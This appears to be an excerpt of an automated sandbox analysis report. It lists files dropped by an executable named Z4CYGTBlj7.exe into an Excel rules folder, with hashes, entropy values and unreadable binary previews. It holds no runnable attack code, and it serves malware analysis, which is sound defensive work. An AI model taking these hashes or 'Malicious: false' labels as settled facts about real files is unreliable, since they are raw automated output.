Encrypted:	false
SSDEEP:	12:ag7RPz06phX+nBJaByK0kbPxL3Y4JMAPdS8Mj67/BFC/ph0kDyvZsTAS6llzZYQZ:asdLV+fHOPxl9MjQ/Baph0LvZEAdlDrZ
MD5:	978CEFEB55B36B6FCAB66DCA0AD86B4C
SHA1:	93A9BB68B0CA2E5A1BE52B0AC5B6150F671E2811
SHA-256:	2282ADD849AD8A4A797DF5267D88E228F63DCDB6D6A48A82CC23BEAC1A5D8DA4
SHA-512:	0B25F7888D79BBC6B3EC0AA6B193F02A238A17C8BCA7F35E24392CB02EA9C15107BBB27CA7575C708A50BA12D05487ED9534180F1F4CD97703B41791B6B380DA
Malicious:	false
Preview:	<?xmlc~......<........E.i.....n...\.....`....Q.L...??3.&a.-.Z.t...47..m..F$.9...=...z....sr.hn.T..JY.Ja0dT.H..>.e.....2x]..?...o5.,..@W.h\..X.......T..cP....}.....H.'Nx.;-B=M".q...0....;0c.2.2.H.....m...;.g....@.\|9Z..YS.\...n.(...r..2.....u..W'......0z$@.'..R0.L..f..k..3...>..q...'......w.'<<.].......A.......F..C!.`d..=..*.N\|...X....).....58+.$/...}.l.....u).o....^..lG.Mo.....)]....5.5JW.W.Q:..^.jg..d.R..S!gd..A..Q....sX)..........V`.^R[ht.BK..p..R....^+o5'.e=..R...I....O.x.zt......<)..`.)D.........+. ..Asd~.a.'_.T...b..&.q.4>...\|.K>Z."....b.........o.....&;,....NE?.."~k~N"i......EGv..`.5..j......a.@.....%UzPD....n;3$i.g8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.76624233411221
Encrypted:	false
SSDEEP:	12:lyifdOQ6HXEa38MMpLK34f/ohgqueDKAkwgQrn+Yuyx+RD0GzAngUQscii9a:lygQl38T+ZhgqR2OH6YNY10BgJsbD
MD5:	2DDAC0239B2082FAE92E37AD3CDCB3FB
SHA1:	8EB714E8EDEF3A0D37FAAC33B742DCDED335D426
SHA-256:	810B1AA7E12568C30E71F4AAA168B7FA9E5A5B059B9578498FE4AB2686019873
SHA-512:	907DF06B7161253C35B66BC138D41D80714A55DE31803376C1DB5781924F986225550234952A92EFF336129EA5B89803483274365E3A1CA87612BAC32F3202C8
Malicious:	false
Preview:	<?xml.t..=....K..4.b..R....[.(..4k....Gf..+U"!...F..~a......Q.4.\....Gv..`.]....h$.\...jc;.!...E.^.oJZ=_..G.?d~.o<p.u.<.....^0.i.... ...5...)A...3..1....J5...&EB...+...c.m.ww..Yx...}:.NFGhn...><..).p.O.X...p..}....".h.&..{!.n%.7.......n.J.L,..`....;.3G,.....b...v.oVt.@....}.\.u.4....v....~.Y...V.L/.V'.4...k6k.4...6...,....L....R.2./.rC....H.b.A..RZ..W8/U..)8..x...jo...`{.1\b...p.. .H?.o..E..<..-.;'...b.k.}')!...9..@..;.v..i^O:...x..T.._._i.c.=..,...c.ehJT.1...]=...LLnm.75.@U..z..gV.......E.H.4A..B.......@.Pe.@..\|c.]. H.$...X.......8.u.p.. ...E..0s.;...u+..Z........{.......+..v.H.e..........)...H.....II..OM..$`.im.>n...QSf..">.....g....+..........%9.J%.!.d......z ...q.........u$.!w.I.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.703778853214126
Encrypted:	false
SSDEEP:	12:aXsoQ7+A4fOHF4ajPwBnx50g4fZOVvoWHE79j7LKL1K+ZZjxTJScQscii9a:vn6P47PUwOWWk7g55jihsbD
MD5:	74B0796E2240722048E83ABB3A4938A9
SHA1:	613CEF792E0423604FF69F98FAF47568E8FC4A7E
SHA-256:	2B8C9FDAC21C96710B4070E55F3E0C48EB566F4541E0B0F0FE7727DA1D014F99
SHA-512:	179D3CE7970CBE0848A9C87970E76CE77A89A877A6082EEBC0B9B3DAF5B56E4CBE7381BE6D2165BD5248244EF05AAFBF60AEFDEA04F0F063BFBF089A79E041CE
Malicious:	false
Preview:	<?xml.-Q...M.s(S....q..4..~.....!_....'F.5.........1C...^..o,..e.2..5......\..a.5...y.:.1.z....H....%.A.....OA.l9((...a.A.....e....jc..Y"....T6&..G...l..R...XDA.s.}@._..Sdm.r...% ..hb.$.z/v.;O..>O..p.K..L.fM?.}Y..Y.......rY/..!.b.qZ`"S[v.a.b.X..O.x\|.]._..@..s/.l.R..7.....i.....nD.M{.r......~..QR.<..B.t?(.z..J........=L..u.....O...QH.j%?.....o.....TDQ,..2.E[...k...........8...mn.Wx.....fa.q6.2^A536iZ.T...A...+]p.2.!../.F.(.jN....1..VC.m(.y...Y].....W.O.$....L..+.........`.......)Aj.+p............%t.g..v..Z.....8S...j{\|.u.X.....-0....o....3Ih...:..b~".N\.A$.p6@.A.....1/T......!....;'..).....H.A....K........K~.n.Y.Cv..}.hyuN..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.7336137857563845
Encrypted:	false
SSDEEP:	24:O65iqM5QJq8cYZLnBtwPY6JLhBS41NAjivkoxPNvErsbD:O6Qf6AoBKPDd16jakaPSmD
MD5:	D49E818F17FA5E4EC2C587AD8F8CC3B0
SHA1:	3CCD3194456EF306FC7965F61F584C761105B072
SHA-256:	0076A70430EE2E91FAE99C684E6EADE614684A9F62AC54188EF562668A04F3EE
SHA-512:	2CD78F834C9E2B54E49A957D2CE08D6F6F2307055278949ABFE143A444B923901DEDB5A93C9277DF95785A4DDA2ED30E02EA8F16AD72C1D62BFABFE633DEB8DC
Malicious:	false
Preview:	<?xml...`....\...8U........e..].P..0.,P.U{..w.....ei..Y+t..0jQ.?.Hj...~C....k...V5...D....$rVE~..-.w}.k.........R.=......2EBW./..y...E.].........v2#.G.....Gq.1I.L.3v...E...0d...t(.'...._8+.l.P...%{\....I7.(.6..^.7}..8../..b....NQq...~.`$....f...nD.DtIz....(..XO.<f....C..p...P.R.u.=.X.5.dk.{....Q.a.,i.N;.jK....a..o...+.54<...%.%h ..u.._..xH....6^...$f.XQS]#..1.il.X..^=..".JM...+.W..].}.$g.?K>g8...Q....m.Z;\|...F[3&.\|.'H..0r.uV..-....D....8LF......k&.M.....a...qs...M.jE........<q7:1i}vY?..Q.}.I.e...<A{.by..s.......,..U.....Q..D...,.cR.6\|..3r..$4.^.2>W5.j.L..F..r..NK$O...%..,nO?..ZOL.?..#.\|}.Y......-.XT./JLF[..\|..x,...52.....q$M;I..<C.`../.+.\zF.9..h....o..x..m,.:...=..d.&yI,..u..H!8...o...z.j.m....`..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.703428682427239
Encrypted:	false
SSDEEP:	12:AbbXy3dEJeudftb6Kq7AqUNK2M/nXzLsR4LwJkPsvlUQscii9a:Abjy3dXA/SAqUW/XEejPsdJsbD
MD5:	46D76DF02FEE62BE916C73807BD78F52
SHA1:	04421A054FD9379B6A0F62657D1A61AD0EA0F554
SHA-256:	A82ED49077F9BF5F092360346F5C65656686828ABB5B2E71CBF28998FF389564
SHA-512:	922FAA3795848BE7E56389783BDEF49EEBB06A15A01C8CC4ECF324A781DF6AD44C1DDCAFC6E208551788082307B7108DF36E2FB8CC134E75D2C5354724AD5D58
Malicious:	false
Preview:	<?xml@....#1.......:6... *...~......M........dO.F..\|kgo..P@.7....f../..O.`.oE..o.L.u..:.p)-.w.=..S......e.e...:....y.Y..t...%D. TN.Ft.......ZH...f..U2f.h...s%gL.}...7#@YN......D.W..;..$.}..Ia...5CP....l.tg\|..5.^g\..Q3{2.p.M..4..O]...M.._..1..Q....A..etg:Vje$.M......t..Ro.BE..B ......I.....`....xG7,..[...M...I.T.....gJz..^.......S...1...!).t.R.Y.......wH..s'....A.9 g..]6...2.m...a".Z....n.T$S.s7.\.A.G..y.s\|Tl."3.Q.e.O.hg.#..._.F_..c.6K.,..S.aad...U..dqP....pN@.B....N:B.-7...\|...Z...S.M..S.7MMk..Y...\.+.8f.#Y..yf..%b.ZjW....B...Rh..x.4...w ]u..>.#...qI.%....9._.Iq@.Z%1{...>...T......m.K.SjI-.<..Z`..n.....U(.n.DR,.!/.#.....X.R\|Kg.U..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.775354918067176
Encrypted:	false
SSDEEP:	24:Ox+YcRjecri1KzF4FqrRolQKAkxLSbERzr8JsbD:7acri0v9owkxL4Wv8JmD
MD5:	2D00867F53D24AE38CC68E2F910DEF19
SHA1:	542096597C0AA29F3BE930B4E283C5A64EA19B87
SHA-256:	EF6055DB2C35EEAB8D5D4DBE34FAA14DB46AF60F79D06597405858BD2DAA84E8
SHA-512:	6260D1198F8C8A55C35047EC39BC7A9688FF991FEEB817991D63C27B6690F005C30F65C8607327ABB93F6200D65D2C40251F3FCB06315B9DCBB14C19655C92EF
Malicious:	false
Preview:	<?xml^.?.B.D....w.%).]q.[kH...i.}..._...k.aN........?.....l..5........y.Un...k....I[..c4........er..\...Zdz....+.$ ....I....._..Q.bx...W.N...y.#.{A...P....x!aA_.P...]......:.4....\E..b...........D\|.m.t.[[!Qi ....)Q...-..{..?.H..I5.,....o....&[.s.G.]..4..j..q.n.._..%x!.i2P....=....-.N'#.\nWf..trPo^.P.7O".i.....3.v+....\|..cK...[V...S....&R...@..o..Y..xks.....P..E&..9..W..#Ng/...$...ak......9...DUJ..%.{......:....b1.BE..d[..GAU}.M......+.p$.Y.g...(..r.U...f..j.n..=k.{.2...~....]....C'..`..d.:.J.@('.V'n...D.C....]t.-QA9.t5T....':..0.5..oL...`.K{......>.q..V..._;`'x...4]7.......j.@."4.<...)..]..[...2.A...U.+K....V,.......-...\.%...r..Y..E=........X..._.W.O...;.x.{.............g..1...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.7087544409930135
Encrypted:	false
SSDEEP:	12:kbZLRj8khos9jQflPFv+s9Y4Omf8aGQ8N9tN0375STRPhX1leWM7xRU9pWQv2QsX:2Zros9jKlxOK8gGSWdrM7/k1sbD
MD5:	363E28AF9DDA54DFC0D2E09CFFF5E695
SHA1:	7241E953BBBF26CECB9072E7EE5C8D654D495F93
SHA-256:	704B95FED21B4AC09ACEAF3AF294A9F718BBC7E0B8981F6BCA921DA5164AF4E2
SHA-512:	EDD51CB884CBD29E27A6A5EC138DE936D86D55F520F28F92196E39E09202374A26E8D6F34B5DC004E2D477F8402C840DE13A0B67981CA73BC1DC4F35D16614FB
Malicious:	false
Preview:	<?xmlYa..P&...n...bs3..H.....#a]..R.S...cM..J5.M...J..w.9Q..,...fk...g."..N..5/.ST.3.....\`c8SY....NG.Q....!Q.....P.^..).,IB.`...t+.).?m4+.+8...J_..-""....eS.jhLw.^j-%P{.<.l.e1m..-x+..h..&U.$5{....... .y.KO.#..Lm....XS4...e...C.....L..c._..6.R..h.Y....3......L.;r.....b-bX.[f.....u). ..F......;..7.D.Z.KL\|..:.?G...,?.$...u..E..5.HyG.....i..(...<.`#....K.-1w.h.q;b.J....Z....\|..^.........u..z..0W..A..j........\|.......'..#.S.`.....#.*...."8Q..C".......r....u...7t}xc...'S.VZ......o.R.N.....=m....@....Q......./~...3+...P.\|.kV.(`.7pq./._Zq. .V...L]..._-.f......?X.....OZxt.;=..xcD....J..C.2T2g.5w.X...2aic".[y.e..].q.....3.O..u0.....I...jJ...3..l+...u; 0.1K.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.718572762532578
Encrypted:	false
SSDEEP:	12:FSxdLVOCiE/0IDjaLBy+kxgLL7HK1mko3XsCcSrcLZrByJJzGkkpVQscii9a:FgdLVjGIna1GEdXs5eKqJJzHsbD
MD5:	7DAA1523F591CC965619582EBF464BE9
SHA1:	1761639D542C5EF8413754431255841F14F17135
SHA-256:	02D70C81C3B944E3434062A675D85B059809C8B89C2F7350B05D7255B407C975
SHA-512:	C3FC60C453B6218040D18097743A93DC27F53D869E2D285C32A8E6835EBE50A4E558A6156D66A3DD852FA0413A61C134BB1A9A58BC9690E6BE9FEE5A0E93E6EE
Malicious:	false
Preview:	<?xml..Y..;..^#"4.b)..M..l.@Wv...R.H..A.9....$A;..m../....e9...!c.0..f..g..I.b.....w...5%b.15..S...f..O.......g<.p.P....W....A.."X..\El....../.l.....k.#..k.LhL..J...M...cCb.mo..yx..N...#.>....s....E.....2..M.5..R.o#..E...i...3.5.....-y.q._))...\.L.#y.=+..j>..T.H.T.s..c>.9...u....W...aAE..j:.......j.p.X.."..S...."...5..W.ezP.............;{.q...x....gK.Np5..4.o..m.x.../.O..../...q....j".;S..<.................`'.":...8......K#<h.......3.._.w...R`..R.'7.\|....s.......~.Xy0.W.u.A.#.(s]....(.:.Q....Z..}..-Sfj.l.&hZ(.[..GcN.qf....(.....e...m...#.t.....9..7.4..Q~.W..S...<.9..hd.....;o.D-#?^C...bZ.,K.w..z0.X...`.df..$B..x..}+u]L...Si=@.,.u..@./e3......C2'.^.....O..q..3.x.....I.^...0.f..=...kO.j.,..].=.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.727269709932162
Encrypted:	false
SSDEEP:	12:YPA8Iq3o4ydO/0/Cb0Fk6FyZ1ycRG+mdh4r3rXiO/lTmREoxoCX4gx1W0X1eQscq:YP5IR/s/0KbAk6Fy1yJVdhErXN/laREj
MD5:	604A8FA13323455A06613A886EAC246E
SHA1:	30F0E596F272B6D51D4382DA552336260279CE97
SHA-256:	D85D974F59DCED7114FAC3ED2D48E6D9C7755D32C24B932BE3E36A167A81475A
SHA-512:	3F1A9541F94B0FC5F2EFD56B29D40744C99F6EF634B41BF756F4707EF20F8A4806F1375A88616710FFFF8BBB0EEDED88B71CB68D2A938E5A6B8117D899981469
Malicious:	false
Preview:	<?xmle7...y.Ys....H'......z.@...D..z.8.y'.....4y......D.*4+..P....<(..O.sW.<......=H....<..!.@...}@....k\|.=.g.....q.......a....n/S...'M'....W......N.........%...g...UrOk_gF$(Tu.........\|.2.@..2..r..EV...O.l(.K.t.i.^\|.8f.2X..&..4i!.Pby&.......m...$A..4j.t.<n^....JG.F.p".R.4E......Z.......4>W[..+..u..,.2.R...J./.=.~.G.K.....-.W..V.hL.\..W>j..,.\|.,X&...vr..S...}.....A..gR./..0./....E.>.2.X.I,.i..Mv?18....w&./.?.........J..L.xS.G.&.....7.....)b0.!.8.~..P..h..p.......>..xS.^..........Q......A..Xl.6...i5.....}.:...x.........I\I#.A.....DO`.M..)....i.J/.........s...........H..o.g..rS.oL...\_!vB._...&ak....8%...i........Hy..r~...R..}.E....c8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.692142607431823
Encrypted:	false
SSDEEP:	24:1402Yp7pZ8/uwTRXyn5sER+HwQ+duVXsbD:18YZP8W4Xc5D47mD
MD5:	3C1E88C546D965BBED081A817FE07FAA
SHA1:	E42924FB810840ECFE9922E3309885F166533224
SHA-256:	3C68B812A8B67578FA139DD68D1700F08144D1403C38A751528FD93B9859933D
SHA-512:	1C0857B5E49264BF612DB73D0872B67BE91CE6E8CEDA1CF3A6DCE8E7F57D14656CEBAD2E5DEFD8489AE8BB83CC96BC3C63779133C8D739BE35F456A82D1A5602
Malicious:	false
Preview:	<?xml..X.!..6._.^..O..l7j.6.7y...=(.t.(...z".H..O!.#....DX#.8.x...?v.>.3\@...Er...U2.L/...>..Fj..J...K.. .dPP.w...Oj.rj.....o.G...{....8.e......jt...G....B.....W.2&jJ.k.x.......w..>S.aF:.0....'m3V....d.5...n..^......q%E....M._....#...#.._...$...~.[8....V.6....:+...a..'.^...O.ADp....7U_..P..w;6R.egn..&....Tl....... .;.I.qN.E. .}...2jV..o.wq.~.....]3..1f.F. X.t......u....._...R...r.....u[.!.Mk.....`.T!..j+.ies..%..#I..z.>..=......\|<..;.3.:.I...z.=.YlI0.6....,a..7%8d..x......[...>.:......Rv(...}.O....N....t..D..;..1\.+...a..2..lP......0?....g3z.74...wa4Q...N..$.]G...6?o..E.{...m....T...l.....v....ps.K.:me.3.nA.oz..z+4..C.0......8.Q.......9..0.j....a.%3..I....`..w...)....k..O.A...~i....89.y..)...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.725688852143464
Encrypted:	false
SSDEEP:	12:PntqM/mE+Qjqj65vDblzGmJ5Nmasv/ASS2s9br0EZwA8tDDnWPIxTQscii9a:vtN/TfqOvFzGmJ5NmasXk90rnWAxcsbD
MD5:	19FABE8E99FC7C4600C3FF621A7DE1CB
SHA1:	86B7CA3D2131F92222B37F98B4C8E91D5047757B
SHA-256:	C84E36E3744976FA31CE7A6D5908D7152145CEA01DB2E0B82155E7D9A75DD19E
SHA-512:	651747A4D71B832FE9E1AA5C1334798A49D2B6D629E2878FDC6B51F1CA82A958E1730C45ADF52AA0310B7B375F3C61C1A0FAAC7B3E0FBCC2C76036DD599B0306
Malicious:	false
Preview:	<?xml.....N.TT..e... ..O.@<Es..........O.g......-Q@...."Q..@.V.s...$..#...!...?X.p!a..d@...Hx>..#..Zj...jJ".$p.FO......V......Wo.P7....b....... ....(..lF.\...l.@...'..?c~./Uo..^...yRy^.3t..Es.z.c~. ...x#...../\...%......n......-...{.X..kT..(3.=#.e.....x>.vo..... ..W>........n....6....2yg._.6i..t...".%..a?.`....E:2i..m..LZ........%...4...Q.....:.Ph..%H^.X.t..j{MG.pHqD..se....A"..bq..]1.......r....^]/.d..T..H...5....$.5V..6.<q...J....M..3Y.G.1q.$5...#...,.YA2@. ..Y.....i.U..a.,B....R...tjm..O..i.^.I.Rz.Y.Y.0.....yz..,....)..8.. .R..{.z...K.(...H....]..<}..Mj..~.-..."$cP.6.j..v=......6.\|.@..-.,.1S....]E2.(..o.vT.4Q8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.724462267243871
Encrypted:	false
SSDEEP:	12:kKZFUMPkWO3+yXstkeMGUZMOOl/kzCcJ8twS0N8xOV8n42bqQscii9a:k8uMPkW0+CsZMGeKszvJ8tw+xF53sbD
MD5:	C609DB375AD5C0110A52FD030976EB91
SHA1:	71F4F6C832D037B757B83C8CBEAA159BF4C82D98
SHA-256:	1BF6013C5629EAD3EBAB4D1831ED12CF88257E8E307C8AC53B4C819B05F82860
SHA-512:	3850A1379537DECDD02C0E71A5AE33C8045396CB8A76AE3466166AA9066324454B0E513F74E1AA67D1AA3BCA7B146F778270B0A4F3B094280362710A76D2377A
Malicious:	false
Preview:	<?xml..N..V..K`d<....2."[B.X'.^..L4B.<<.w..4..J1.!..)..........33.[.5 .G.r...;U....&.v.h1f$.".......K.....!....k....H..d....%.^.?.T5B....#..iw.-..^...5. ....B2...7.....Cq)..S...s^`.?qa.....,.w...V..+.V.h..Am.....S.."K.R.].i......`?...wv..&y.y.K6..m......x-$6...,.T..P......fF?Z!.......A...o:..{n......;..P.......'.0i..{.A.l.....G.>..5...(.Ms.....tA.s....K..c..=`... ........I.86 C.u..Y..\..{.W.Wo b~..3\|.......k.4\++..l.."zf..t...2..l.. .....A.C<..z}9P1.v.....%H.'N>...%...^2..[:.:.ICXJ.H).c..K2.M..Y:i.!..X..p...S.H~....O\|@../J"=&........MN...A.........lZ.......X.w.\|.....S...In....Z..#C{..Na.].g.M..~.....T$1(D7...._i....XxA.u..+.k..x..JZ....o.g.O... ..`.E.%..x+[.i`...g._.#.H.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.738913760250822
Encrypted:	false
SSDEEP:	12:4zrBgRpwSjgY6zTsfqxDB0+brqnetxLn6+ITg4bV7mH7DgKDLiul95lrEQccimgY:4HWfwSMYEsfGnOaxTog4pG5DLiCFEDBw
MD5:	A3675AF2CE2AD9CC17C8D14B786953A9
SHA1:	7C6BA7D33DFA4A1C5AF650AE2110D272B72D4233
SHA-256:	350A5EB0750F67E765DD956B016F1B7EAA81414D737A7BDA2BC27FA20226DF9D
SHA-512:	4E5D5CD5C475B996A605F9A8DF444430226AD2C76DF10A7E40641304B7E618B1A1CB67F93BE60529A3689FEB272BA70261A49BF9C201F869ADC6BA84019D9B2D
Malicious:	false
Preview:	<?xml.....`OJH....M..Jx.x]...yj.E.HR....T.Q...(\j..W..G....+"$..;..q.I.>.B..>..i\....{..k4.....3..\...M... z.....0I.r.. ..A.....%.M.Nb0R.X.F.l{.X..@......0.!....e.P,3.........O...X.7....(< .m...O.Q.). ...b.]..-...=..]F>j....\|4u..8J.\9....PV..B...u./q_./..7e....7...I?.. ..7..Gkb...$.......G.+X\...Ms..S&]...[V".c....`.^.7..y.....X.g.a....\|...#....&.d.U_c5&......2...Y.RR....l.A...'(.m..(.{........E[.....K.t.u..1r/~......SEGd.n!...!..).W.....=.v.?..Am(W....D.Qh.......s*.%.....\|.P{~...^..P!.._.....}.?[ga...W.....:....GZ..V.....}.2..<.;.......lJ.#...o......QQ>J....tyGxh..viD..o.m..6.3R.)..V.. H$../D.........Z..fY...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.742927877763988
Encrypted:	false
SSDEEP:	24:vGsisOzRYxSZtlUbzbJpArDJQgfS5kOAsbD:+PL0zbfQJSnAmD
MD5:	1A8D6AAE7440A7F860E08394F3BC3937
SHA1:	243881910D23CF5B352A564318E5AE0226B6E960
SHA-256:	417B3DEEEB5F0C434EB0FD933EC3E796D178AD3AE2AC7340B893CE53A4C1CE52
SHA-512:	F7CC71FE99F1709388FD639620D1737CD2173D393C90817B9BB3B7A93AB35607B13F043BE52E9BD916AB3D7E280CD2CAE135BB23CDCCFD0B1C47905F1A78C133
Malicious:	false
Preview:	<?xmlg3..ke...k....a%.V&..r.Y.sf.5..O..XD..-..9Jhz.....+....Zx..e....Utl....'..4j.M..($!....0...z....Y....=..Nq..8.o'W...B.5/Q..\.eA"#..6'5.\........1i7i.$..v....G9q.,....#.H.....<.v...T...^..R.9.f...=....(.[.....$%.~.i.G..g...b^>fi....s2....AhK_..Le..g.....Y...a.v1.....}..Wj.6...r7..W.e.x...].\|.{E=y...@...F.y_..^...r...n....u.....&..#.._..~i...4..w........@MY......x..86..n.y{....=f.......X.u...?... ;........@Q...!..#...J@....3.>....-....F'.0#=....%...v..;..f.o.A..0#...Atn...CMp.1........x.../!MI.2Fz....v........;.B"P..\|.l......'.T~(...IQ\..rL..fs.QF.. 3>Kn....0'/..K.m0..+..-o.z{...'RO...v...+^..7$....y.J[).U..\|G..,...E.....:...7._.p%..o.R..q...;..nJd...Mx....OeH.....(N.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.685600442636577
Encrypted:	false
SSDEEP:	12:uHNN2GGvoTyv/y6g46MtTR4XSxZledUWMXHLuQscii9a:uX2eTy/g46V2s0HjsbD
MD5:	E2EBA243621F739DF4213C64868CE09F
SHA1:	98727A637409859B0A1F1EACA22476BAA56A13A3
SHA-256:	4E12CCF19DFEFC3C87D802A5B0EB900B09776A21B17918D5EF590B3B9216B127
SHA-512:	8D554DC2BD159E28BA58A005647C575D6AD624592577F3C4FE3E2AEBD781AD3DCE73207694A949A4C2B882E98EDF5514AF2F3558D5D656E9243799235323CEF0
Malicious:	false
Preview:	<?xml,."gf.?.2..s..L.lq..m.\4.mM.....+G...S.....6I..{mL./.....v...[>..e......K.[.<...w.x..y.gy\|..3......c.e4...6.sL...}..%...1.../.D.2......31J...a._G.........2..x...ug...^.).R..8.k~".b..w....w../.l...#..@..o..A.9.......8...6O.wQ.a.&......b..^..q.q.!...m...$.{....z.......a...K.1...n..!R...C.-..z.7bC..1..HDv/.x.............YW..tS.?gj$...]...h.q.rd{.\|..7.........1wW..y.^B.2..=.^5N.0D...........k.......x.y..>..V..m../O+....K.Tl...z..g..&..^.?.R..H..5{...l...P.w-9.L.o..W:G0\|ES.\.Q...t.;.2..YB].....eR.......Y.#_...T\|.....\|cU.1Z...}..T.H..S,.........D.J.)..k..VZ...d.%.?..H.y9...-,u..;/....d`?0.....S0;.g Z..M u7.c...k.&..U\|t...s.I......pC8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.671084394949655
Encrypted:	false
SSDEEP:	24:bjPhVrHAiH1y82MA9dsXlpvqmS/iasXdJsbD:HhVrHLVyr9dQpvqXirmD
MD5:	DD1B3A78DE9F77F9F666CEE370329517
SHA1:	D1ABF52AC222AEE8B75FDCB7FF6FCF1EBCB02C1D
SHA-256:	EF2894C812B62A71B91EF20CDCB724FBF8F267AA0D7D93AABCCD93AFB6B5A495
SHA-512:	08252CE7D379EB0F73C9F8034AEFDB7148E8B3EF3F00FE6B1D4CD25CCBC0989813281119BB586466B2B566CCD929FF09C395FBDED6F1DCF1C2EA70DF79E86C6B
Malicious:	false
